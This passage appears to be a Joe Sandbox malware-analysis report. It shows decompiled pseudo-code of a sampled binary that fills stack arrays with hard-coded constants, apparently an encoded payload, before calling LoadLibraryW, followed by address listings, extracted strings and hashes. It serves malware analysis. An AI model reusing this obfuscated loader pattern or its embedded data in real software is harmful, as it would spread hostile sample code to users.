				 *((intOrPtr*)(_t441 - 0x32c)) = 0x930810aa;
				 *((intOrPtr*)(_t441 - 0x328)) = 0x43254b54;
				 *((intOrPtr*)(_t441 - 0x324)) = 0xdf1b1c7a;
				 *((intOrPtr*)(_t441 - 0x320)) = 0x4c19c8ed;
				 *((intOrPtr*)(_t441 - 0x31c)) = 0x94b7994d;
				 *((intOrPtr*)(_t441 - 0x318)) = 0x4164ea17;
				 *((intOrPtr*)(_t441 - 0x314)) = 0x1d0bf59;
				 *((intOrPtr*)(_t441 - 0x310)) = 0xedb017b3;
				 *((intOrPtr*)(_t441 - 0x30c)) = 0x7dc8e84a;
				 *((intOrPtr*)(_t441 - 0x308)) = 0xc243ef4d;
				 *((intOrPtr*)(_t441 - 0x304)) = 0xb98517a5;
				 *((intOrPtr*)(_t441 - 0x300)) = 0x4da1f8d9;
				 *((intOrPtr*)(_t441 - 0x2fc)) = 0xac0d5549;
				 *((intOrPtr*)(_t441 - 0x2f8)) = 0x457394ca;
				 *((intOrPtr*)(_t441 - 0x2f4)) = 0x3dee73ab;
				 *((intOrPtr*)(_t441 - 0x2f0)) = 0x1cb60641;
				 *((intOrPtr*)(_t441 - 0x2ec)) = 0x73c0ce9f;
				 *((intOrPtr*)(_t441 - 0x2e8)) = 0x78f928db;
				 *((intOrPtr*)(_t441 - 0x2e4)) = 0xa085bf53;
				 *((intOrPtr*)(_t441 - 0x2e0)) = 0x29ed2789;
				 *((intOrPtr*)(_t441 - 0x2dc)) = 0x5656443b;
				 *((intOrPtr*)(_t441 - 0x2d8)) = 0x9ad7d08b;
				 *((intOrPtr*)(_t441 - 0x2d4)) = 0x712266b2;
				 *((intOrPtr*)(_t441 - 0x2d0)) = 0x5f0fa9de;
				 *((intOrPtr*)(_t441 - 0x2cc)) = 0x82f5bfd2;
				 *((intOrPtr*)(_t441 - 0x2c8)) = 0x673d9c4f;
				 *((intOrPtr*)(_t441 - 0x2c4)) = 0x740ba1a7;
				 *((intOrPtr*)(_t441 - 0x2c0)) = 0x373a1311;
				 *((intOrPtr*)(_t441 - 0x2bc)) = 0x417272e5;
				 *((intOrPtr*)(_t441 - 0x2b8)) = 0x9d0f9644;
				 *((intOrPtr*)(_t441 - 0x2b4)) = 0x6bd560d8;
				 *((intOrPtr*)(_t441 - 0x2b0)) = 0xd8e03e60;
				 *((intOrPtr*)(_t441 - 0x2ac)) = 0x7e9018aa;
				 *((intOrPtr*)(_t441 - 0x2a8)) = 0xc3363eae;
				 *((intOrPtr*)(_t441 - 0x2a4)) = 0x65638ae1;
				 *((intOrPtr*)(_t441 - 0x2a0)) = 0x341ce865;
				 *((intOrPtr*)(_t441 - 0x29c)) = 0xd26b61c7;
				 *((intOrPtr*)(_t441 - 0x298)) = 0x378194a5;
				 *((intOrPtr*)(_t441 - 0x294)) = 0xd946a510;
				 *((intOrPtr*)(_t441 - 0x290)) = 0x243a7a98;
				 *((intOrPtr*)(_t441 - 0x28c)) = 0x669eb82;
				 *((intOrPtr*)(_t441 - 0x288)) = 0x2341e9d9;
				 *((intOrPtr*)(_t441 - 0x284)) = 0x3a04aeda;
				 *((intOrPtr*)(_t441 - 0x280)) = 0xad183657;
				 *((intOrPtr*)(_t441 - 0x27c)) = 0xd9444113;
				 *((intOrPtr*)(_t441 - 0x278)) = 0x38c3ff49;
				 *((intOrPtr*)(_t441 - 0x274)) = 0x40dc1552;
				 *((intOrPtr*)(_t441 - 0x270)) = 0xcfd97b4d;
				 *((intOrPtr*)(_t441 - 0x26c)) = 0xfdc9c4fb;
				 *((intOrPtr*)(_t441 - 0x268)) = 0x5e087d4a;
				 *((intOrPtr*)(_t441 - 0x264)) = 0x59ec9ca1;
				 *((intOrPtr*)(_t441 - 0x260)) = 0x5ebbe6fa;
				 *((intOrPtr*)(_t441 - 0x25c)) = 0xb9d86287;
				 *((intOrPtr*)(_t441 - 0x258)) = 0xc5896fe0;
				 *((intOrPtr*)(_t441 - 0x254)) = 0x5593a020;
				 *((intOrPtr*)(_t441 - 0x250)) = 0xf0715a8d;
				 *((intOrPtr*)(_t441 - 0x24c)) = 0x2f41e908;
				 *((intOrPtr*)(_t441 - 0x248)) = 0x92656eeb;
				 *((intOrPtr*)(_t441 - 0x244)) = 0x2351a2be;
				 *((intOrPtr*)(_t441 - 0x240)) = 0xc4188bb2;
				 *((intOrPtr*)(_t441 - 0x23c)) = 0x6d292057;
				 *((intOrPtr*)(_t441 - 0x238)) = 0xc62c7f66;
				 *((intOrPtr*)(_t441 - 0x234)) = 0x9e7b5715;
				 *((intOrPtr*)(_t441 - 0x230)) = 0x807acea3;
				 *((intOrPtr*)(_t441 - 0x22c)) = 0xafe067b;
				 *((intOrPtr*)(_t441 - 0x228)) = 0x43ee4a69;
				 *((intOrPtr*)(_t441 - 0x224)) = 0x48ae7035;
				 *((intOrPtr*)(_t441 - 0x220)) = 0xab98a108;
				 *((intOrPtr*)(_t441 - 0x21c)) = 0xb4e8d930;
				 *((intOrPtr*)(_t441 - 0x218)) = 0x5d7a50df;
				 *((intOrPtr*)(_t441 - 0x214)) = 0xe6115588;
				 *((intOrPtr*)(_t441 - 0x210)) = 0xed8a07f0;
				 *((intOrPtr*)(_t441 - 0x20c)) = 0x503ede10;
				 *((intOrPtr*)(_t441 - 0x208)) = 0x40d4cc95;
				 *((intOrPtr*)(_t441 - 0x204)) = 0xd4b67ed1;
				 *((intOrPtr*)(_t441 - 0x200)) = 0x37f96aee;
				 *((intOrPtr*)(_t441 - 0x1fc)) = 0xa277730c;
				 *((intOrPtr*)(_t441 - 0x1f8)) = 0x336bed4b;
				 *((intOrPtr*)(_t441 - 0x1f4)) = 0xe34ada5f;
				 *((intOrPtr*)(_t441 - 0x1f0)) = 0xc3095d9b;
				 *((intOrPtr*)(_t441 - 0x1ec)) = 0xbd9bcd9f;
				 *((intOrPtr*)(_t441 - 0x1e8)) = 0x58945e90;
				 *((intOrPtr*)(_t441 - 0x1e4)) = 0x611fbd37;
				 *((intOrPtr*)(_t441 - 0x1e0)) = 0xfef46df3;
				 *((intOrPtr*)(_t441 - 0x1dc)) = 0x8f3c4182;
				 *((intOrPtr*)(_t441 - 0x1d8)) = 0x197a475c;
				 *((intOrPtr*)(_t441 - 0x1d4)) = 0x7767e10c;
				 *((intOrPtr*)(_t441 - 0x1d0)) = 0x72444e41;
				 *((intOrPtr*)(_t441 - 0x1cc)) = 0x47ee7636;
				 *((intOrPtr*)(_t441 - 0x1c8)) = 0xa478bb23;
				 *((intOrPtr*)(_t441 - 0x1c4)) = 0xd0e03d8b;
				 *((intOrPtr*)(_t441 - 0x1c0)) = 0x46b0febf;
				 *((intOrPtr*)(_t441 - 0x1bc)) = 0xbe9b27fb;
				 *((intOrPtr*)(_t441 - 0x1b8)) = 0xb2b0cd15;
				 *((intOrPtr*)(_t441 - 0x1b4)) = 0x3aed5821;
				 *((intOrPtr*)(_t441 - 0x1b0)) = 0x9e7b88f4;
				 *((intOrPtr*)(_t441 - 0x1ac)) = 0xe7f3d3f5;
				 *((intOrPtr*)(_t441 - 0x1a8)) = 0x5eaa0c60;
				 *((intOrPtr*)(_t441 - 0x1a4)) = 0x46faf790;
				 *((intOrPtr*)(_t441 - 0x1a0)) = 0xb53a1827;
				 *((intOrPtr*)(_t441 - 0x19c)) = 0x18a734b2;
				 *((intOrPtr*)(_t441 - 0x198)) = 0x3cb859ae;
				 *((intOrPtr*)(_t441 - 0x194)) = 0x2610448a;
				 *((intOrPtr*)(_t441 - 0x190)) = 0x98991077;
				 *((intOrPtr*)(_t441 - 0x18c)) = 0x841a0d00;
				 *((intOrPtr*)(_t441 - 0x188)) = 0x4e037ade;
				 *((intOrPtr*)(_t441 - 0x184)) = 0xddf9db21;
				 *((intOrPtr*)(_t441 - 0x180)) = 0x14af2e1e;
				 *((intOrPtr*)(_t441 - 0x17c)) = 0x1a7dd804;
				 *((intOrPtr*)(_t441 - 0x178)) = 0xedacd066;
				 *((intOrPtr*)(_t441 - 0x174)) = 0xac875451;
				 *((intOrPtr*)(_t441 - 0x170)) = 0x44ef4ace;
				 *((intOrPtr*)(_t441 - 0x16c)) = 0x475f1ccd;
				 *((intOrPtr*)(_t441 - 0x168)) = 0xa19afa6e;
				 *((intOrPtr*)(_t441 - 0x164)) = 0xea7e01c6;
				 *((intOrPtr*)(_t441 - 0x160)) = 0x53b2e8a7;
				 *((intOrPtr*)(_t441 - 0x15c)) = 0xde5b196a;
				 *((intOrPtr*)(_t441 - 0x158)) = 0xfca044c2;
				 *((intOrPtr*)(_t441 - 0x154)) = 0xf0b93137;
				 *((intOrPtr*)(_t441 - 0x150)) = 0xf83bb634;
				 *((intOrPtr*)(_t441 - 0x14c)) = 0x774efce;
				 *((intOrPtr*)(_t441 - 0x148)) = 0xe816fa75;
				 *((intOrPtr*)(_t441 - 0x144)) = 0xefd79a3d;
				 *((intOrPtr*)(_t441 - 0x140)) = 0xc5feab3d;
				 *((intOrPtr*)(_t441 - 0x13c)) = 0x1cbe874c;
				 *((intOrPtr*)(_t441 - 0x138)) = 0x556e34cd;
				 *((intOrPtr*)(_t441 - 0x134)) = 0x4b99c924;
				 *((intOrPtr*)(_t441 - 0x130)) = 0x7e2c3c7e;
				 *((intOrPtr*)(_t441 - 0x12c)) = 0xc83e3141;
				 *((intOrPtr*)(_t441 - 0x128)) = 0x61a13cdb;
				 *((intOrPtr*)(_t441 - 0x124)) = 0xbea71228;
				 *((intOrPtr*)(_t441 - 0x120)) = 0x5ae02b8e;
				 *((intOrPtr*)(_t441 - 0x11c)) = 0x14c96d13;
				 *((intOrPtr*)(_t441 - 0x118)) = 0x953bc43b;
				 *((intOrPtr*)(_t441 - 0x114)) = 0x3b79e650;
				 *((intOrPtr*)(_t441 - 0x110)) = 0xbb3160e9;
				 *((intOrPtr*)(_t441 - 0x10c)) = 0x1e08f3b3;
				 *((intOrPtr*)(_t441 - 0x108)) = 0x6c47cea2;
				 *((intOrPtr*)(_t441 - 0x104)) = 0x4cd2aaba;
				 *((intOrPtr*)(_t441 - 0x100)) = 0x3edc34e8;
				 *((intOrPtr*)(_t441 - 0xfc)) = 0xb35598cb;
				 *((intOrPtr*)(_t441 - 0xf8)) = 0xde898aa;
				 *((intOrPtr*)(_t441 - 0xf4)) = 0xff499b27;
				 *((intOrPtr*)(_t441 - 0xf0)) = 0xf56b4ea6;
				 *((intOrPtr*)(_t441 - 0xec)) = 0x9fd99e0f;
				 *((intOrPtr*)(_t441 - 0xe8)) = 0x85510475;
				 *((intOrPtr*)(_t441 - 0xe4)) = 0x529cfc96;
				 *((intOrPtr*)(_t441 - 0xe0)) = 0x5c803e81;
				 *((intOrPtr*)(_t441 - 0xdc)) = 0x7be8dfdb;
				 *((intOrPtr*)(_t441 - 0xd8)) = 0x10cefeee;
				 *((intOrPtr*)(_t441 - 0xd4)) = 0xe07b5cec;
				 *((intOrPtr*)(_t441 - 0xd0)) = 0xe963df59;
				 *((intOrPtr*)(_t441 - 0xcc)) = 0x549915a0;
				 *((intOrPtr*)(_t441 - 0xc8)) = 0x167afa2f;
				 *((intOrPtr*)(_t441 - 0xc4)) = 0x31f36a4;
				 *((intOrPtr*)(_t441 - 0xc0)) = 0x554dd6ff;
				 *((intOrPtr*)(_t441 - 0xbc)) = 0x364bf670;
				 *((intOrPtr*)(_t441 - 0xb8)) = 0xbd7ac96d;
				 *((intOrPtr*)(_t441 - 0xb4)) = 0x40df9ae4;
				 *((intOrPtr*)(_t441 - 0xb0)) = 0xfbd29e91;
				 *((intOrPtr*)(_t441 - 0xac)) = 0x34d242c8;
				 *((intOrPtr*)(_t441 - 0xa8)) = 0x221b5e15;
				 *((intOrPtr*)(_t441 - 0xa4)) = 0x584f4138;
				 *((intOrPtr*)(_t441 - 0xa0)) = 0xd3da40ea;
				 *((intOrPtr*)(_t441 - 0x9c)) = 0xfdb2a0a3;
				 *((intOrPtr*)(_t441 - 0x98)) = 0xe7e1c994;
				 *((intOrPtr*)(_t441 - 0x94)) = 0xef912419;
				 *((intOrPtr*)(_t441 - 0x90)) = 0xe26be229;
				 *((intOrPtr*)(_t441 - 0x8c)) = 0x5b173771;
				 *((intOrPtr*)(_t441 - 0x88)) = 0xe1b5b166;
				 *((intOrPtr*)(_t441 - 0x84)) = 0xc854bb1d;
				 *((intOrPtr*)(_t441 - 0x80)) = 0xab3c32d3;
				 *((intOrPtr*)(_t441 - 0x7c)) = 0xa539921e;
				 *((intOrPtr*)(_t441 - 0x78)) = 0x31ddfb72;
				 *((intOrPtr*)(_t441 - 0x74)) = 0x2574e026;
				 *((intOrPtr*)(_t441 - 0x70)) = 0xe9907fdc;
				 *((intOrPtr*)(_t441 - 0x6c)) = 0x82f21263;
				 *((intOrPtr*)(_t441 - 0x68)) = 0x151a661f;
				 *((intOrPtr*)(_t441 - 0x64)) = 0x9770157e;
				 *((intOrPtr*)(_t441 - 0x60)) = 0x6cdbd348;
				 *((intOrPtr*)(_t441 - 0x5c)) = 0x85ccdc27;
				 *((intOrPtr*)(_t441 - 0x58)) = 0x5294165a;
				_push(0x7d25e55d);
				 *((intOrPtr*)(_t441 - 0x54)) = 0x3b11416e;
				 *((intOrPtr*)(_t441 - 0x50)) = 0xe8ef845f;
				 *((intOrPtr*)(_t441 - 0x4c)) = 0x552aa571;
				 *((intOrPtr*)(_t441 - 0x48)) = 0xecffd9cd;
				 *((intOrPtr*)(_t441 - 0x44)) = 0x1d62b09d;
				 *((intOrPtr*)(_t441 - 0x40)) = 0x82654e0b;
				 *((intOrPtr*)(_t441 - 0x3c)) = 0x849737f7;
				 *((intOrPtr*)(_t441 - 0x38)) = 0xcc39b929;
				 *((intOrPtr*)(_t441 - 0x34)) = 0x3ced6e6a;
				 *((intOrPtr*)(_t441 - 0x30)) = 0x120ff926;
				 *((intOrPtr*)(_t441 - 0x2c)) = 0x4d2150b4;
				 *((intOrPtr*)(_t441 - 0x28)) = 0x88f6cd53;
				 *((intOrPtr*)(_t441 - 0x24)) = 0x8d3094b8;
				 *((intOrPtr*)(_t441 - 0x20)) = 0xc39d29a6;
				 *((intOrPtr*)(_t441 - 0x1c)) = 0xdba56365;
				 *((intOrPtr*)(_t441 - 0x18)) = 0x90071a83;
				 *((intOrPtr*)(_t441 - 0x14)) = 0xb48cfda0;
				 *((intOrPtr*)(_t441 - 0x10)) = 0x20950034;
				 *((intOrPtr*)(_t441 - 0xc)) = 0x37a8b303;
				 *((intOrPtr*)(_t441 - 8)) = 0x8b758a77;
				 *((intOrPtr*)(_t441 - 4)) = 0xa44f24cd;
				_t439 = L00501D10(0x510f20, 0x1a8, __edi, __esi);
				 *0x514c88 = LoadLibraryW(_t427);
				L00501DB0(_t439);
				_t434 =  *0x514c88; // 0x763d0000
				return E00501570(_t431, _t434, _t441 - 0x6a4, _t439, 0x1a9, 0x71cd072d, 0x5126b0);
			}

0x00506e3a
0x00506e3a
0x00506e44
0x00506e4e
0x00506e58
0x00506e62
0x00506e6c
0x00506e76
0x00506e80
0x00506e8a
0x00506e94
0x00506e9e
0x00506ea8
0x00506eb2
0x00506ebc
0x00506ec6
0x00506ed0
0x00506eda
0x00506ee4
0x00506eee
0x00506ef8
0x00506f02
0x00506f0c
0x00506f16
0x00506f20
0x00506f2a
0x00506f34
0x00506f3e
0x00506f48
0x00506f52
0x00506f5c
0x00506f66
0x00506f70
0x00506f7a
0x00506f84
0x00506f8e
0x00506f98
0x00506fa2
0x00506fac
0x00506fb6
0x00506fc0
0x00506fca
0x00506fd4
0x00506fde
0x00506fe8
0x00506ff2
0x00506ffc
0x00507006
0x00507010
0x0050701a
0x00507024
0x0050702e
0x00507038
0x00507042
0x0050704c
0x00507056
0x00507060
0x0050706a
0x00507074
0x0050707e
0x00507088
0x00507092
0x0050709c
0x005070a6
0x005070b0
0x005070ba
0x005070c4
0x005070ce
0x005070d8
0x005070e2
0x005070ec
0x005070f6
0x00507100
0x0050710a
0x00507114
0x0050711e
0x00507128
0x00507132
0x0050713c
0x00507146
0x00507150
0x0050715a
0x00507164
0x0050716e
0x00507178
0x00507182
0x0050718c
0x00507196
0x005071a0
0x005071aa
0x005071b4
0x005071be
0x005071c8
0x005071d2
0x005071dc
0x005071e6
0x005071f0
0x005071fa
0x00507204
0x0050720e
0x00507218
0x00507222
0x0050722c
0x00507236
0x00507240
0x0050724a
0x00507254
0x0050725e
0x00507268
0x00507272
0x0050727c
0x00507286
0x00507290
0x0050729a
0x005072a4
0x005072ae
0x005072b8
0x005072c2
0x005072cc
0x005072d6
0x005072e0
0x005072ea
0x005072f4
0x005072fe
0x00507308
0x00507312
0x0050731c
0x00507326
0x00507330
0x0050733a
0x00507344
0x0050734e
0x00507358
0x00507362
0x0050736c
0x00507376
0x00507380
0x0050738a
0x00507394
0x0050739e
0x005073a8
0x005073b2
0x005073bc
0x005073c6
0x005073d0
0x005073da
0x005073e4
0x005073ee
0x005073f8
0x00507402
0x0050740c
0x00507416
0x00507420
0x0050742a
0x00507434
0x0050743e
0x00507448
0x00507452
0x0050745c
0x00507466
0x00507470
0x0050747a
0x00507484
0x0050748e
0x00507498
0x005074a2
0x005074ac
0x005074b6
0x005074c0
0x005074ca
0x005074d4
0x005074de
0x005074e8
0x005074f2
0x005074fc
0x00507506
0x00507510
0x0050751a
0x00507524
0x0050752e
0x00507538
0x00507542
0x0050754c
0x00507556
0x00507560
0x0050756a
0x00507574
0x0050757e
0x00507588
0x00507592
0x0050759c
0x005075a6
0x005075b0
0x005075ba
0x005075c4
0x005075ce
0x005075d8
0x005075e2
0x005075ec
0x005075f6
0x00507600
0x0050760a
0x00507614
0x0050761e
0x00507628
0x00507632
0x0050763c
0x00507646
0x00507650
0x0050765a
0x00507664
0x0050766e
0x00507678
0x00507682
0x0050768c
0x00507696
0x005076a0
0x005076aa
0x005076b4
0x005076be
0x005076c8
0x005076d2
0x005076dc
0x005076e6
0x005076f0
0x005076fa
0x00507704
0x0050770e
0x00507718
0x00507722
0x0050772c
0x00507736
0x00507740
0x0050774a
0x00507754
0x0050775e
0x00507768
0x00507772
0x0050777c
0x00507786
0x00507790
0x0050779a
0x005077a4
0x005077ae
0x005077b8
0x005077c2
0x005077cc
0x005077d6
0x005077e0
0x005077ea
0x005077f4
0x005077fe
0x00507808
0x00507812
0x0050781c
0x00507826
0x00507830
0x0050783a
0x00507844
0x0050784e
0x00507858
0x00507862
0x0050786c
0x00507876
0x00507880
0x0050788a
0x00507894
0x0050789e
0x005078a8
0x005078b2
0x005078bc
0x005078c6
0x005078d0
0x005078da
0x005078e4
0x005078ee
0x005078f8
0x00507902
0x0050790c
0x00507916
0x00507920
0x0050792a
0x00507934
0x0050793e
0x00507948
0x00507952
0x0050795c
0x00507966
0x00507970
0x0050797a
0x00507984
0x0050798e
0x00507998
0x005079a2
0x005079ac
0x005079b6
0x005079c0
0x005079ca
0x005079d4
0x005079de
0x005079e8
0x005079f2
0x005079fc
0x00507a06
0x00507a10
0x00507a1a
0x00507a24
0x00507a2e
0x00507a38
0x00507a42
0x00507a4c
0x00507a56
0x00507a60
0x00507a6a
0x00507a74
0x00507a7e
0x00507a88
0x00507a92
0x00507a9c
0x00507aa6
0x00507ab0
0x00507aba
0x00507ac4
0x00507ace
0x00507ad8
0x00507ae2
0x00507aec
0x00507af6
0x00507b00
0x00507b0a
0x00507b14
0x00507b1e
0x00507b28
0x00507b32
0x00507b3c
0x00507b46
0x00507b50
0x00507b5a
0x00507b64
0x00507b6e
0x00507b78
0x00507b82
0x00507b8c
0x00507b96
0x00507ba0
0x00507baa
0x00507bb4
0x00507bbe
0x00507bc8
0x00507bd2
0x00507bdc
0x00507be6
0x00507bf0
0x00507bfa
0x00507c04
0x00507c0e
0x00507c18
0x00507c22
0x00507c2c
0x00507c36
0x00507c40
0x00507c4a
0x00507c54
0x00507c5e
0x00507c68
0x00507c72
0x00507c7c
0x00507c86
0x00507c90
0x00507c9a
0x00507ca4
0x00507cae
0x00507cb8
0x00507cc2
0x00507ccc
0x00507cd6
0x00507ce0
0x00507cea
0x00507cf4
0x00507cfe
0x00507d08
0x00507d12
0x00507d1c
0x00507d26
0x00507d30
0x00507d3a
0x00507d44
0x00507d4e
0x00507d58
0x00507d62
0x00507d6c
0x00507d76
0x00507d80
0x00507d8a
0x00507d94
0x00507d9b
0x00507da2
0x00507da9
0x00507db0
0x00507db7
0x00507dbe
0x00507dc5
0x00507dcc
0x00507dd3
0x00507dda
0x00507de1
0x00507deb
0x00507df7
0x00507dfe
0x00507e05
0x00507e0c
0x00507e13
0x00507e1a
0x00507e21
0x00507e28
0x00507e2f
0x00507e36
0x00507e3d
0x00507e44
0x00507e4b
0x00507e52
0x00507e59
0x00507e60
0x00507e67
0x00507e6e
0x00507e75
0x00507e7c
0x00507e8b
0x00507e96
0x00507e9b
0x00507ea0
0x00507ec7

APIs

LoadLibraryW.KERNEL32(00000000), ref: 00507E8E

Strings

ANDr, xrefs: 00507A4C
8AOX, xrefs: 00507D3A
NqnU, xrefs: 0050739E
~z, xrefs: 00507308
5Ws, xrefs: 00507664
W )m, xrefs: 0050793E
\{, xrefs: 00507CC2
iJC, xrefs: 00507970
Dg0, xrefs: 00507420
rrA, xrefs: 005077FE
6vG, xrefs: 00507A56
)k, xrefs: 00507D6C
!X:, xrefs: 00507A92
Py;, xrefs: 00507C22
4, xrefs: 00507E67
&t%, xrefs: 00507DA9
$"Ir, xrefs: 00506E8A
~<,~, xrefs: 00507BDC
0Uy, xrefs: 00507344
WC-, xrefs: 00507128
6k-, xrefs: 00507240
Kk3, xrefs: 005079E8
TK%C, xrefs: 005076F0
p*@[, xrefs: 0050768C
;DVV, xrefs: 005077AE
jn<, xrefs: 00507E28
dlm(, xrefs: 00507682

Memory Dump Source

Source File: 0000000B.00000002.1434055854.00501000.00000020.sdmp, Offset: 00500000, based on PE: true

Associated: 0000000B.00000002.1434051327.00500000.00000002.sdmp
Associated: 0000000B.00000002.1434064721.0050F000.00000002.sdmp
Associated: 0000000B.00000002.1434069247.00510000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_500000_363.jbxd

Similarity

API ID: LibraryLoad
String ID: !X:$$"Ir$&t%$)k$0Uy$4$5Ws$6k-$6vG$8AOX$;DVV$ANDr$Dg0$Kk3$NqnU$Py;$TK%C$W )m$WC-$dlm($iJC$jn<$p*@[$~<,~$~z$\{$rrA
API String ID: 1029625771-1061294748
Opcode ID: 56617b6730201f9d7cc01a7464eaec858be4686d12cb578cfcff71fb6113b0e6
Instruction ID: 8076ba2a84ff74d8a5c5948908871c2c57a3d4a11b4c616388c64b4eb19281e4
Opcode Fuzzy Hash: 56617b6730201f9d7cc01a7464eaec858be4686d12cb578cfcff71fb6113b0e6
Instruction Fuzzy Hash: 2F72B6F48567698FDB618F429E857CEBA74BB51304F6086C8C19D3B214CB714B86CF8A

Uniqueness

Uniqueness Score: 100.00%

Function 0050902A, Relevance: 19.5, APIs: 1, Strings: 10, Instructions: 225
libraryUNIQUE

C-Code - Quality: 99%

			E0050902A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t209;
				intOrPtr _t212;
				void* _t219;

				_t209 = __ebx;
				 *((intOrPtr*)(_t219 - 0x32c)) = 0x7fbd219b;
				 *((intOrPtr*)(_t219 - 0x328)) = 0xa2efafa1;
				 *((intOrPtr*)(_t219 - 0x324)) = 0xe80e0f4c;
				 *((intOrPtr*)(_t219 - 0x320)) = 0x80f9ec3b;
				 *((intOrPtr*)(_t219 - 0x31c)) = 0x8e1d8781;
				 *((intOrPtr*)(_t219 - 0x318)) = 0x6261bb12;
				 *((intOrPtr*)(_t219 - 0x314)) = 0xffe71370;
				 *((intOrPtr*)(_t219 - 0x310)) = 0x7e4cc287;
				 *((intOrPtr*)(_t219 - 0x30c)) = 0x8a645edd;
				 *((intOrPtr*)(_t219 - 0x308)) = 0x588a73b6;
				 *((intOrPtr*)(_t219 - 0x304)) = 0x57aa5c54;
				 *((intOrPtr*)(_t219 - 0x300)) = 0xefd12e15;
				 *((intOrPtr*)(_t219 - 0x2fc)) = 0x1f212018;
				 *((intOrPtr*)(_t219 - 0x2f8)) = 0x8884ba6b;
				 *((intOrPtr*)(_t219 - 0x2f4)) = 0x669e1b3c;
				 *((intOrPtr*)(_t219 - 0x2f0)) = 0x354ae040;
				 *((intOrPtr*)(_t219 - 0x2ec)) = 0xc4f5d2c8;
				 *((intOrPtr*)(_t219 - 0x2e8)) = 0x10bee786;
				 *((intOrPtr*)(_t219 - 0x2e4)) = 0xeea8862e;
				 *((intOrPtr*)(_t219 - 0x2e0)) = 0x6bcdb172;
				 *((intOrPtr*)(_t219 - 0x2dc)) = 0xb5e6de05;
				 *((intOrPtr*)(_t219 - 0x2d8)) = 0xf0896307;
				 *((intOrPtr*)(_t219 - 0x2d4)) = 0xeb5229a2;
				 *((intOrPtr*)(_t219 - 0x2d0)) = 0x2b6d69b;
				 *((intOrPtr*)(_t219 - 0x2cc)) = 0x58beccc5;
				 *((intOrPtr*)(_t219 - 0x2c8)) = 0x35274529;
				 *((intOrPtr*)(_t219 - 0x2c4)) = 0x15753c3f;
				 *((intOrPtr*)(_t219 - 0x2c0)) = 0x9c18b986;
				 *((intOrPtr*)(_t219 - 0x2bc)) = 0x2201f5eb;
				 *((intOrPtr*)(_t219 - 0x2b8)) = 0x19713ab5;
				 *((intOrPtr*)(_t219 - 0x2b4)) = 0xb1c3168c;
				 *((intOrPtr*)(_t219 - 0x2b0)) = 0xf66bd0e9;
				 *((intOrPtr*)(_t219 - 0x2ac)) = 0x466959fa;
				 *((intOrPtr*)(_t219 - 0x2a8)) = 0xfcde918c;
				 *((intOrPtr*)(_t219 - 0x2a4)) = 0x714e0189;
				 *((intOrPtr*)(_t219 - 0x2a0)) = 0xf7ae070;
				 *((intOrPtr*)(_t219 - 0x29c)) = 0xd5bf4fe0;
				 *((intOrPtr*)(_t219 - 0x298)) = 0xa6b9c782;
				 *((intOrPtr*)(_t219 - 0x294)) = 0x8a555e4a;
				 *((intOrPtr*)(_t219 - 0x290)) = 0xb37719ce;
				 *((intOrPtr*)(_t219 - 0x28c)) = 0x578e021d;
				 *((intOrPtr*)(_t219 - 0x288)) = 0x70f1e354;
				 *((intOrPtr*)(_t219 - 0x284)) = 0xae470c52;
				 *((intOrPtr*)(_t219 - 0x280)) = 0x4085a5f5;
				 *((intOrPtr*)(_t219 - 0x27c)) = 0x2ba05970;
				 *((intOrPtr*)(_t219 - 0x278)) = 0xd8be2289;
				 *((intOrPtr*)(_t219 - 0x274)) = 0xc0b6aa2;
				 *((intOrPtr*)(_t219 - 0x270)) = 0xd3bd5838;
				 *((intOrPtr*)(_t219 - 0x26c)) = 0x316b6de7;
				 *((intOrPtr*)(_t219 - 0x268)) = 0xb5002781;
				 *((intOrPtr*)(_t219 - 0x264)) = 0x3aa9b064;
				 *((intOrPtr*)(_t219 - 0x260)) = 0x56fd49b7;
				 *((intOrPtr*)(_t219 - 0x25c)) = 0x1715f313;
				 *((intOrPtr*)(_t219 - 0x258)) = 0x713d7bcb;
				 *((intOrPtr*)(_t219 - 0x254)) = 0x30c933c5;
				 *((intOrPtr*)(_t219 - 0x250)) = 0xcc3ce868;
				 *((intOrPtr*)(_t219 - 0x24c)) = 0xdef80b51;
				 *((intOrPtr*)(_t219 - 0x248)) = 0x1cb482f0;
				 *((intOrPtr*)(_t219 - 0x244)) = 0xb75f074;
				 *((intOrPtr*)(_t219 - 0x240)) = 0xb012317e;
				 *((intOrPtr*)(_t219 - 0x23c)) = 0xde835a96;
				 *((intOrPtr*)(_t219 - 0x238)) = 0x94343df8;
				 *((intOrPtr*)(_t219 - 0x234)) = 0xb367eeeb;
				 *((intOrPtr*)(_t219 - 0x230)) = 0x750a07ee;
				 *((intOrPtr*)(_t219 - 0x22c)) = 0xd830a629;
				 *((intOrPtr*)(_t219 - 0x228)) = 0xac831739;
				 *((intOrPtr*)(_t219 - 0x224)) = 0x6e5fdc60;
				 *((intOrPtr*)(_t219 - 0x220)) = 0x124c3112;
				 *((intOrPtr*)(_t219 - 0x21c)) = 0x212cd402;
				 *((intOrPtr*)(_t219 - 0x218)) = 0x6e12da54;
				 *((intOrPtr*)(_t219 - 0x214)) = 0xd1435837;
				 *((intOrPtr*)(_t219 - 0x210)) = 0xaa26ab84;
				 *((intOrPtr*)(_t219 - 0x20c)) = 0x90b20834;
				 *((intOrPtr*)(_t219 - 0x208)) = 0xd17da45b;
				 *((intOrPtr*)(_t219 - 0x204)) = 0xfdf40c0d;
				 *((intOrPtr*)(_t219 - 0x200)) = 0x32db272e;
				 *((intOrPtr*)(_t219 - 0x1fc)) = 0xb16b2126;
				 *((intOrPtr*)(_t219 - 0x1f8)) = 0x13bcc1e5;
				 *((intOrPtr*)(_t219 - 0x1f4)) = 0x47d24300;
				 *((intOrPtr*)(_t219 - 0x1f0)) = 0xa0b0c2b9;
				 *((intOrPtr*)(_t219 - 0x1ec)) = 0x5b0d9e2e;
				 *((intOrPtr*)(_t219 - 0x1e8)) = 0x32becc23;
				 *((intOrPtr*)(_t219 - 0x1e4)) = 0x3f193493;
				 *((intOrPtr*)(_t219 - 0x1e0)) = 0xa2670868;
				 *((intOrPtr*)(_t219 - 0x1dc)) = 0x7eb062fc;
				 *((intOrPtr*)(_t219 - 0x1d8)) = 0x5ad55ddb;
				 *((intOrPtr*)(_t219 - 0x1d4)) = 0x5c9b533a;
				 *((intOrPtr*)(_t219 - 0x1d0)) = 0xbe4dc9ab;
				 *((intOrPtr*)(_t219 - 0x1cc)) = 0xc27ae1cf;
				 *((intOrPtr*)(_t219 - 0x1c8)) = 0x5bb1bf3c;
				 *((intOrPtr*)(_t219 - 0x1c4)) = 0x41464acd;
